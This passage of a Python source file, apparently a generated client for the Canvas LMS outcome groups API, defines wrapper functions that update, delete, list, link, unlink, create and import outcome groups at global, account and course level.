:type title: string or None
:param description: (optional) The new outcome group description.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param parent_outcome_group_id: (optional) The id of the new parent outcome group.
:type parent_outcome_group_id: integer or None
:return: Update an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/global/outcome_groups/{id}'
payload = {
'title' : title,
'description' : description,
'vendor_guid' : vendor_guid,
'parent_outcome_group_id' : parent_outcome_group_id,
}
url = request_ctx.base_api_url + path.format(id=id)
response = client.put(request_ctx, url, payload=payload, **request_kwargs)
return response
def update_outcome_group_accounts(request_ctx, account_id, id, title=None, description=None, vendor_guid=None, parent_outcome_group_id=None, **request_kwargs):
"""
Modify an existing outcome group. Fields not provided are left as is;
unrecognized fields are ignored.
When changing the parent outcome group, the new parent group must belong to
the same context as this outcome group, and must not be a descendant of
this outcome group (i.e. no cycles allowed).
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param title: (optional) The new outcome group title.
:type title: string or None
:param description: (optional) The new outcome group description.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param parent_outcome_group_id: (optional) The id of the new parent outcome group.
:type parent_outcome_group_id: integer or None
:return: Update an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}'
payload = {
'title' : title,
'description' : description,
'vendor_guid' : vendor_guid,
'parent_outcome_group_id' : parent_outcome_group_id,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.put(request_ctx, url, payload=payload, **request_kwargs)
return response
def update_outcome_group_courses(request_ctx, course_id, id, title=None, description=None, vendor_guid=None, parent_outcome_group_id=None, **request_kwargs):
"""
Modify an existing outcome group. Fields not provided are left as is;
unrecognized fields are ignored.
When changing the parent outcome group, the new parent group must belong to
the same context as this outcome group, and must not be a descendant of
this outcome group (i.e. no cycles allowed).
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param title: (optional) The new outcome group title.
:type title: string or None
:param description: (optional) The new outcome group description.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param parent_outcome_group_id: (optional) The id of the new parent outcome group.
:type parent_outcome_group_id: integer or None
:return: Update an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}'
payload = {
'title' : title,
'description' : description,
'vendor_guid' : vendor_guid,
'parent_outcome_group_id' : parent_outcome_group_id,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.put(request_ctx, url, payload=payload, **request_kwargs)
return response
def delete_outcome_group_global(request_ctx, id, **request_kwargs):
"""
Deleting an outcome group deletes descendant outcome groups and outcome
links. The linked outcomes themselves are only deleted if all links to the
outcome were deleted.
Aligned outcomes cannot be deleted; as such, if all remaining links to an
aligned outcome are included in this group's descendants, the group
deletion will fail.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:return: Delete an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/global/outcome_groups/{id}'
url = request_ctx.base_api_url + path.format(id=id)
response = client.delete(request_ctx, url, **request_kwargs)
return response
def delete_outcome_group_accounts(request_ctx, account_id, id, **request_kwargs):
"""
Deleting an outcome group deletes descendant outcome groups and outcome
links. The linked outcomes themselves are only deleted if all links to the
outcome were deleted.
Aligned outcomes cannot be deleted; as such, if all remaining links to an
aligned outcome are included in this group's descendants, the group
deletion will fail.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:return: Delete an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}'
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.delete(request_ctx, url, **request_kwargs)
return response
def delete_outcome_group_courses(request_ctx, course_id, id, **request_kwargs):
"""
Deleting an outcome group deletes descendant outcome groups and outcome
links. The linked outcomes themselves are only deleted if all links to the
outcome were deleted.
Aligned outcomes cannot be deleted; as such, if all remaining links to an
aligned outcome are included in this group's descendants, the group
deletion will fail.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:return: Delete an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}'
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.delete(request_ctx, url, **request_kwargs)
return response
def list_linked_outcomes_global(request_ctx, id, per_page=None, **request_kwargs):
"""
List the immediate OutcomeLink children of the outcome group. Paginated.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: List linked outcomes
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/global/outcome_groups/{id}/outcomes'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(id=id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def list_linked_outcomes_accounts(request_ctx, account_id, id, per_page=None, **request_kwargs):
"""
List the immediate OutcomeLink children of the outcome group. Paginated.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: List linked outcomes
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/accounts/{account_id}/outcome_groups/{id}/outcomes'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def list_linked_outcomes_courses(request_ctx, course_id, id, per_page=None, **request_kwargs):
"""
List the immediate OutcomeLink children of the outcome group. Paginated.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: List linked outcomes
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/courses/{course_id}/outcome_groups/{id}/outcomes'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_link_outcome_global(request_ctx, id, outcome_id=None, title=None, display_name=None, description=None, vendor_guid=None, mastery_points=None, ratings_description=None, ratings_points=None, **request_kwargs):
"""
Link an outcome into the outcome group. The outcome to link can either be
specified by a PUT to the link URL for a specific outcome (the outcome_id
in the PUT URLs) or by supplying the information for a new outcome (title,
description, ratings, mastery_points) in a POST to the collection.
If linking an existing outcome, the outcome_id must identify an outcome
available to this context; i.e. an outcome owned by this group's context,
an outcome owned by an associated account, or a global outcome. With
outcome_id present, any other parameters are ignored.
If defining a new outcome, the outcome is created in the outcome group's
context using the provided title, description, ratings, and mastery points;
the title is required but all other fields are optional. The new outcome is
then linked into the outcome group.
If ratings are provided when creating a new outcome, an embedded rubric
criterion is included in the new outcome. This criterion's mastery_points
default to the maximum points in the highest rating if not specified in the
mastery_points parameter. Any ratings lacking a description are given a
default of "No description". Any ratings lacking a point value are given a
default of 0. If no ratings are provided, the mastery_points parameter is
ignored.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param outcome_id: (optional) The ID of the existing outcome to link.
:type outcome_id: integer or None
:param title: (optional) The title of the new outcome. Required if outcome_id is absent.
:type title: string or None
:param display_name: (optional) A friendly name shown in reports for outcomes with cryptic titles, such as common core standards names.
:type display_name: string or None
:param description: (optional) The description of the new outcome.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param mastery_points: (optional) The mastery threshold for the embedded rubric criterion.
:type mastery_points: integer or None
:param ratings_description: (optional) The description of a rating level for the embedded rubric criterion.
:type ratings_description: string or None
:param ratings_points: (optional) The points corresponding to a rating level for the embedded rubric criterion.
:type ratings_points: integer or None
:return: Create/link an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/global/outcome_groups/{id}/outcomes'
payload = {
'outcome_id' : outcome_id,
'title' : title,
'display_name' : display_name,
'description' : description,
'vendor_guid' : vendor_guid,
'mastery_points' : mastery_points,
'ratings[description]' : ratings_description,
'ratings[points]' : ratings_points,
}
url = request_ctx.base_api_url + path.format(id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_link_outcome_global_outcome_id(request_ctx, id, outcome_id=None, title=None, display_name=None, description=None, vendor_guid=None, mastery_points=None, ratings_description=None, ratings_points=None, **request_kwargs):
"""
Link an outcome into the outcome group. The outcome to link can either be
specified by a PUT to the link URL for a specific outcome (the outcome_id
in the PUT URLs) or by supplying the information for a new outcome (title,
description, ratings, mastery_points) in a POST to the collection.
If linking an existing outcome, the outcome_id must identify an outcome
available to this context; i.e. an outcome owned by this group's context,
an outcome owned by an associated account, or a global outcome. With
outcome_id present, any other parameters are ignored.
If defining a new outcome, the outcome is created in the outcome group's
context using the provided title, description, ratings, and mastery points;
the title is required but all other fields are optional. The new outcome is
then linked into the outcome group.
If ratings are provided when creating a new outcome, an embedded rubric
criterion is included in the new outcome. This criterion's mastery_points
default to the maximum points in the highest rating if not specified in the
mastery_points parameter. Any ratings lacking a description are given a
default of "No description". Any ratings lacking a point value are given a
default of 0. If no ratings are provided, the mastery_points parameter is
ignored.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param outcome_id: (optional) The ID of the existing outcome to link.
:type outcome_id: integer or None
:param title: (optional) The title of the new outcome. Required if outcome_id is absent.
:type title: string or None
:param display_name: (optional) A friendly name shown in reports for outcomes with cryptic titles, such as common core standards names.
:type display_name: string or None
:param description: (optional) The description of the new outcome.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param mastery_points: (optional) The mastery threshold for the embedded rubric criterion.
:type mastery_points: integer or None
:param ratings_description: (optional) The description of a rating level for the embedded rubric criterion.
:type ratings_description: string or None
:param ratings_points: (optional) The points corresponding to a rating level for the embedded rubric criterion.
:type ratings_points: integer or None
:return: Create/link an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/global/outcome_groups/{id}/outcomes/{outcome_id}'
payload = {
'title' : title,
'display_name' : display_name,
'description' : description,
'vendor_guid' : vendor_guid,
'mastery_points' : mastery_points,
'ratings[description]' : ratings_description,
'ratings[points]' : ratings_points,
}
url = request_ctx.base_api_url + path.format(id=id, outcome_id=outcome_id)
response = client.put(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_link_outcome_accounts(request_ctx, account_id, id, outcome_id=None, title=None, display_name=None, description=None, vendor_guid=None, mastery_points=None, ratings_description=None, ratings_points=None, **request_kwargs):
"""
Link an outcome into the outcome group. The outcome to link can either be
specified by a PUT to the link URL for a specific outcome (the outcome_id
in the PUT URLs) or by supplying the information for a new outcome (title,
description, ratings, mastery_points) in a POST to the collection.
If linking an existing outcome, the outcome_id must identify an outcome
available to this context; i.e. an outcome owned by this group's context,
an outcome owned by an associated account, or a global outcome. With
outcome_id present, any other parameters are ignored.
If defining a new outcome, the outcome is created in the outcome group's
context using the provided title, description, ratings, and mastery points;
the title is required but all other fields are optional. The new outcome is
then linked into the outcome group.
If ratings are provided when creating a new outcome, an embedded rubric
criterion is included in the new outcome. This criterion's mastery_points
default to the maximum points in the highest rating if not specified in the
mastery_points parameter. Any ratings lacking a description are given a
default of "No description". Any ratings lacking a point value are given a
default of 0. If no ratings are provided, the mastery_points parameter is
ignored.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param outcome_id: (optional) The ID of the existing outcome to link.
:type outcome_id: integer or None
:param title: (optional) The title of the new outcome. Required if outcome_id is absent.
:type title: string or None
:param display_name: (optional) A friendly name shown in reports for outcomes with cryptic titles, such as common core standards names.
:type display_name: string or None
:param description: (optional) The description of the new outcome.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param mastery_points: (optional) The mastery threshold for the embedded rubric criterion.
:type mastery_points: integer or None
:param ratings_description: (optional) The description of a rating level for the embedded rubric criterion.
:type ratings_description: string or None
:param ratings_points: (optional) The points corresponding to a rating level for the embedded rubric criterion.
:type ratings_points: integer or None
:return: Create/link an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}/outcomes'
payload = {
'outcome_id' : outcome_id,
'title' : title,
'display_name' : display_name,
'description' : description,
'vendor_guid' : vendor_guid,
'mastery_points' : mastery_points,
'ratings[description]' : ratings_description,
'ratings[points]' : ratings_points,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_link_outcome_accounts_outcome_id(request_ctx, account_id, id, outcome_id=None, title=None, display_name=None, description=None, vendor_guid=None, mastery_points=None, ratings_description=None, ratings_points=None, **request_kwargs):
"""
Link an outcome into the outcome group. The outcome to link can either be
specified by a PUT to the link URL for a specific outcome (the outcome_id
in the PUT URLs) or by supplying the information for a new outcome (title,
description, ratings, mastery_points) in a POST to the collection.
If linking an existing outcome, the outcome_id must identify an outcome
available to this context; i.e. an outcome owned by this group's context,
an outcome owned by an associated account, or a global outcome. With
outcome_id present, any other parameters are ignored.
If defining a new outcome, the outcome is created in the outcome group's
context using the provided title, description, ratings, and mastery points;
the title is required but all other fields are optional. The new outcome is
then linked into the outcome group.
If ratings are provided when creating a new outcome, an embedded rubric
criterion is included in the new outcome. This criterion's mastery_points
default to the maximum points in the highest rating if not specified in the
mastery_points parameter. Any ratings lacking a description are given a
default of "No description". Any ratings lacking a point value are given a
default of 0. If no ratings are provided, the mastery_points parameter is
ignored.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param outcome_id: (optional) The ID of the existing outcome to link.
:type outcome_id: integer or None
:param title: (optional) The title of the new outcome. Required if outcome_id is absent.
:type title: string or None
:param display_name: (optional) A friendly name shown in reports for outcomes with cryptic titles, such as common core standards names.
:type display_name: string or None
:param description: (optional) The description of the new outcome.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param mastery_points: (optional) The mastery threshold for the embedded rubric criterion.
:type mastery_points: integer or None
:param ratings_description: (optional) The description of a rating level for the embedded rubric criterion.
:type ratings_description: string or None
:param ratings_points: (optional) The points corresponding to a rating level for the embedded rubric criterion.
:type ratings_points: integer or None
:return: Create/link an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}/outcomes/{outcome_id}'
payload = {
'title' : title,
'display_name' : display_name,
'description' : description,
'vendor_guid' : vendor_guid,
'mastery_points' : mastery_points,
'ratings[description]' : ratings_description,
'ratings[points]' : ratings_points,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id, outcome_id=outcome_id)
response = client.put(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_link_outcome_courses(request_ctx, course_id, id, outcome_id=None, title=None, display_name=None, description=None, vendor_guid=None, mastery_points=None, ratings_description=None, ratings_points=None, **request_kwargs):
"""
Link an outcome into the outcome group. The outcome to link can either be
specified by a PUT to the link URL for a specific outcome (the outcome_id
in the PUT URLs) or by supplying the information for a new outcome (title,
description, ratings, mastery_points) in a POST to the collection.
If linking an existing outcome, the outcome_id must identify an outcome
available to this context; i.e. an outcome owned by this group's context,
an outcome owned by an associated account, or a global outcome. With
outcome_id present, any other parameters are ignored.
If defining a new outcome, the outcome is created in the outcome group's
context using the provided title, description, ratings, and mastery points;
the title is required but all other fields are optional. The new outcome is
then linked into the outcome group.
If ratings are provided when creating a new outcome, an embedded rubric
criterion is included in the new outcome. This criterion's mastery_points
default to the maximum points in the highest rating if not specified in the
mastery_points parameter. Any ratings lacking a description are given a
default of "No description". Any ratings lacking a point value are given a
default of 0. If no ratings are provided, the mastery_points parameter is
ignored.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param outcome_id: (optional) The ID of the existing outcome to link.
:type outcome_id: integer or None
:param title: (optional) The title of the new outcome. Required if outcome_id is absent.
:type title: string or None
:param display_name: (optional) A friendly name shown in reports for outcomes with cryptic titles, such as common core standards names.
:type display_name: string or None
:param description: (optional) The description of the new outcome.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param mastery_points: (optional) The mastery threshold for the embedded rubric criterion.
:type mastery_points: integer or None
:param ratings_description: (optional) The description of a rating level for the embedded rubric criterion.
:type ratings_description: string or None
:param ratings_points: (optional) The points corresponding to a rating level for the embedded rubric criterion.
:type ratings_points: integer or None
:return: Create/link an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}/outcomes'
payload = {
'outcome_id' : outcome_id,
'title' : title,
'display_name' : display_name,
'description' : description,
'vendor_guid' : vendor_guid,
'mastery_points' : mastery_points,
'ratings[description]' : ratings_description,
'ratings[points]' : ratings_points,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_link_outcome_courses_outcome_id(request_ctx, course_id, id, outcome_id=None, title=None, display_name=None, description=None, vendor_guid=None, mastery_points=None, ratings_description=None, ratings_points=None, **request_kwargs):
"""
Link an outcome into the outcome group. The outcome to link can either be
specified by a PUT to the link URL for a specific outcome (the outcome_id
in the PUT URLs) or by supplying the information for a new outcome (title,
description, ratings, mastery_points) in a POST to the collection.
If linking an existing outcome, the outcome_id must identify an outcome
available to this context; i.e. an outcome owned by this group's context,
an outcome owned by an associated account, or a global outcome. With
outcome_id present, any other parameters are ignored.
If defining a new outcome, the outcome is created in the outcome group's
context using the provided title, description, ratings, and mastery points;
the title is required but all other fields are optional. The new outcome is
then linked into the outcome group.
If ratings are provided when creating a new outcome, an embedded rubric
criterion is included in the new outcome. This criterion's mastery_points
default to the maximum points in the highest rating if not specified in the
mastery_points parameter. Any ratings lacking a description are given a
default of "No description". Any ratings lacking a point value are given a
default of 0. If no ratings are provided, the mastery_points parameter is
ignored.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param outcome_id: (optional) The ID of the existing outcome to link.
:type outcome_id: integer or None
:param title: (optional) The title of the new outcome. Required if outcome_id is absent.
:type title: string or None
:param display_name: (optional) A friendly name shown in reports for outcomes with cryptic titles, such as common core standards names.
:type display_name: string or None
:param description: (optional) The description of the new outcome.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard.
:type vendor_guid: string or None
:param mastery_points: (optional) The mastery threshold for the embedded rubric criterion.
:type mastery_points: integer or None
:param ratings_description: (optional) The description of a rating level for the embedded rubric criterion.
:type ratings_description: string or None
:param ratings_points: (optional) The points corresponding to a rating level for the embedded rubric criterion.
:type ratings_points: integer or None
:return: Create/link an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}/outcomes/{outcome_id}'
payload = {
'title' : title,
'display_name' : display_name,
'description' : description,
'vendor_guid' : vendor_guid,
'mastery_points' : mastery_points,
'ratings[description]' : ratings_description,
'ratings[points]' : ratings_points,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id, outcome_id=outcome_id)
response = client.put(request_ctx, url, payload=payload, **request_kwargs)
return response
def unlink_outcome_global(request_ctx, id, outcome_id, **request_kwargs):
"""
Unlinking an outcome only deletes the outcome itself if this was the last
link to the outcome in any group in any context. Aligned outcomes cannot be
deleted; as such, if this is the last link to an aligned outcome, the
unlinking will fail.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param outcome_id: (required) ID
:type outcome_id: string
:return: Unlink an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/global/outcome_groups/{id}/outcomes/{outcome_id}'
url = request_ctx.base_api_url + path.format(id=id, outcome_id=outcome_id)
response = client.delete(request_ctx, url, **request_kwargs)
return response
def unlink_outcome_accounts(request_ctx, account_id, id, outcome_id, **request_kwargs):
"""
Unlinking an outcome only deletes the outcome itself if this was the last
link to the outcome in any group in any context. Aligned outcomes cannot be
deleted; as such, if this is the last link to an aligned outcome, the
unlinking will fail.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param outcome_id: (required) ID
:type outcome_id: string
:return: Unlink an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}/outcomes/{outcome_id}'
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id, outcome_id=outcome_id)
response = client.delete(request_ctx, url, **request_kwargs)
return response
def unlink_outcome_courses(request_ctx, course_id, id, outcome_id, **request_kwargs):
"""
Unlinking an outcome only deletes the outcome itself if this was the last
link to the outcome in any group in any context. Aligned outcomes cannot be
deleted; as such, if this is the last link to an aligned outcome, the
unlinking will fail.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param outcome_id: (required) ID
:type outcome_id: string
:return: Unlink an outcome
:rtype: requests.Response (with OutcomeLink data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}/outcomes/{outcome_id}'
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id, outcome_id=outcome_id)
response = client.delete(request_ctx, url, **request_kwargs)
return response
def list_subgroups_global(request_ctx, id, per_page=None, **request_kwargs):
"""
List the immediate OutcomeGroup children of the outcome group. Paginated.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: List subgroups
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/global/outcome_groups/{id}/subgroups'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(id=id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def list_subgroups_accounts(request_ctx, account_id, id, per_page=None, **request_kwargs):
"""
List the immediate OutcomeGroup children of the outcome group. Paginated.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: List subgroups
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/accounts/{account_id}/outcome_groups/{id}/subgroups'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def list_subgroups_courses(request_ctx, course_id, id, per_page=None, **request_kwargs):
"""
List the immediate OutcomeGroup children of the outcome group. Paginated.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: List subgroups
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/courses/{course_id}/outcome_groups/{id}/subgroups'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_subgroup_global(request_ctx, id, title, description=None, vendor_guid=None, **request_kwargs):
"""
Creates a new empty subgroup under the outcome group with the given title
and description.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param title: (required) The title of the new outcome group.
:type title: string
:param description: (optional) The description of the new outcome group.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard
:type vendor_guid: string or None
:return: Create a subgroup
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/global/outcome_groups/{id}/subgroups'
payload = {
'title' : title,
'description' : description,
'vendor_guid' : vendor_guid,
}
url = request_ctx.base_api_url + path.format(id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_subgroup_accounts(request_ctx, account_id, id, title, description=None, vendor_guid=None, **request_kwargs):
"""
Creates a new empty subgroup under the outcome group with the given title
and description.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param title: (required) The title of the new outcome group.
:type title: string
:param description: (optional) The description of the new outcome group.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard
:type vendor_guid: string or None
:return: Create a subgroup
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}/subgroups'
payload = {
'title' : title,
'description' : description,
'vendor_guid' : vendor_guid,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def create_subgroup_courses(request_ctx, course_id, id, title, description=None, vendor_guid=None, **request_kwargs):
"""
Creates a new empty subgroup under the outcome group with the given title
and description.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param title: (required) The title of the new outcome group.
:type title: string
:param description: (optional) The description of the new outcome group.
:type description: string or None
:param vendor_guid: (optional) A custom GUID for the learning standard
:type vendor_guid: string or None
:return: Create a subgroup
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}/subgroups'
payload = {
'title' : title,
'description' : description,
'vendor_guid' : vendor_guid,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def import_outcome_group_global(request_ctx, id, source_outcome_group_id, **request_kwargs):
"""
Creates a new subgroup of the outcome group with the same title and
description as the source group, then creates links in that new subgroup to
the same outcomes that are linked in the source group. Recurses on the
subgroups of the source group, importing them each in turn into the new
subgroup.
Allows you to copy organizational structure, but does not create copies of
the outcomes themselves, only new links.
The source group must be either global, from the same context as this
outcome group, or from an associated account. The source group cannot be
the root outcome group of its context.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param source_outcome_group_id: (required) The ID of the source outcome group.
:type source_outcome_group_id: integer
:return: Import an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/global/outcome_groups/{id}/import'
payload = {
'source_outcome_group_id' : source_outcome_group_id,
}
url = request_ctx.base_api_url + path.format(id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def import_outcome_group_accounts(request_ctx, account_id, id, source_outcome_group_id, **request_kwargs):
"""
Creates a new subgroup of the outcome group with the same title and
description as the source group, then creates links in that new subgroup to
the same outcomes that are linked in the source group. Recurses on the
subgroups of the source group, importing them each in turn into the new
subgroup.
Allows you to copy organizational structure, but does not create copies of
the outcomes themselves, only new links.
The source group must be either global, from the same context as this
outcome group, or from an associated account. The source group cannot be
the root outcome group of its context.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:param source_outcome_group_id: (required) The ID of the source outcome group.
:type source_outcome_group_id: integer
:return: Import an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}/import'
payload = {
'source_outcome_group_id' : source_outcome_group_id,
}
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
def import_outcome_group_courses(request_ctx, course_id, id, source_outcome_group_id, **request_kwargs):
"""
Creates a new subgroup of the outcome group with the same title and
description as the source group, then creates links in that new subgroup to
the same outcomes that are linked in the source group. Recurses on the
subgroups of the source group, importing them each in turn into the new
subgroup.
Allows you to copy organizational structure, but does not create copies of
the outcomes themselves, only new links.
The source group must be either global, from the same context as this
outcome group, or from an associated account. The source group cannot be
the root outcome group of its context.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:param source_outcome_group_id: (required) The ID of the source outcome group.
:type source_outcome_group_id: integer
:return: Import an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}/import'
payload = {
'source_outcome_group_id' : source_outcome_group_id,
}
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.post(request_ctx, url, payload=payload, **request_kwargs)
return response
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| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b0a5f3c28fe6d8418a1fd5ed2b565a1047f6ccc6
| 96
|
py
